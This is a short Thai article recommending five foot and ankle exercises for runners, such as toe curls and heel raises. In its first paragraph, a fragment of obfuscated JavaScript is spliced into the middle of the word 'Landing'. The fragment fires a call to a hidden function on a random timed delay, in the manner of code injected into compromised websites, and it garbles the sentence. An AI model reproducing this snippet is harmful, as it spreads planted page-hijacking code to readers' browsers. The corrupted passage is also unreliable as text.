เรารู้จักวิธีบริหารกล้ามเนื้อ Upper กล้ามเนื้อ Core กล้ามเนื้อ Lower กันไปพอสมควร เเต่กล้ามเนื้อเท้ามักจะเป็นสิ่งที่เรามองข้ามกันไปเสมอ การ บริหารกล้ามเนื้อเท้า มีประโยชน์มากไม่เเพ้การบริหารกล้ามเนื้อส่วนอื่นๆ เลย ช่วยให้กล้ามเนื้อเท้า เอ็น กล้ามเนื้อข้อเท้า มีความยืดหยุ่น เเข็งเเรง เวลา Landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding หรือการลงเท้าจะมั่นคง รักษาสมดุลการทรงตัวในทุกสภาพพื้นผิวถนน
ไปได้ไกล..ไปได้นานขึ้น..กับ 5 วิธี บริหารกล้ามเนื้อเท้า (5 Foot Exercises)
เวลาบริหารกล้ามเนื้อเท้า จะมีการรวมเอาข้อเท้าเข้ามาด้วย หรือที่เรียกว่า Feet & Ankle Workouts การฝึกบริหารกล้ามเนื้อมีหัวใจที่สำคัญคือ flexibility, mobility และ strengthen
ตัวอย่างการบริหารกล้ามเนื้อเท้าเเละข้อเท้า…
1. Toe Curls ท่าบริหารช่วยป้องกันอาการกล้ามเนื้อหน้าเเข้งอักเสบ หรือ shin splints
2. Heel Raises ช่วยบริหารกล้ามเนื้อเท้า Fore foot และกล้ามเนื้อน่อง หรือ Calf muscles ช่วยเสริมความเเข็งเเกร่งให้ข้อเท้าด้วยนะ
3. Inside/outside rocks ช่วยสร้างความยืดหยุ่นให้กล้ามเนื้อและเอ็นข้อเท้า ป้องกันการเกิดอาการข้อเท้าพลิก
4. Toe Fan กางนิ้วเท้าทั้งหมด กดลงและยกขึ้น เพื่อบริหารกล้ามเนื้อหน้าเท้าและจุดเชื่อมต่อกล้ามเนื้อหน้าเเข้ง เพื่อความยืดหยุ่น บาลานซ์และความเเข็งเเรงในการ pushoff เวลาวิ่ง
5. Great Toe Down บริหารกล้ามเนื้อเท้าและฝึกประสาทการเชื่อมต่อ การสั่งงาน ให้มัดกล้ามเนื้อต่างทำงานประสานกันได้ดียิ่งขึ้น
